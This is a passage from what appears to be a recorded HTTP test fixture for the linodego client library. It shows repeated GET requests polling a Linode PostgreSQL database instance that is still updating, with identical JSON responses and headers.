X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", 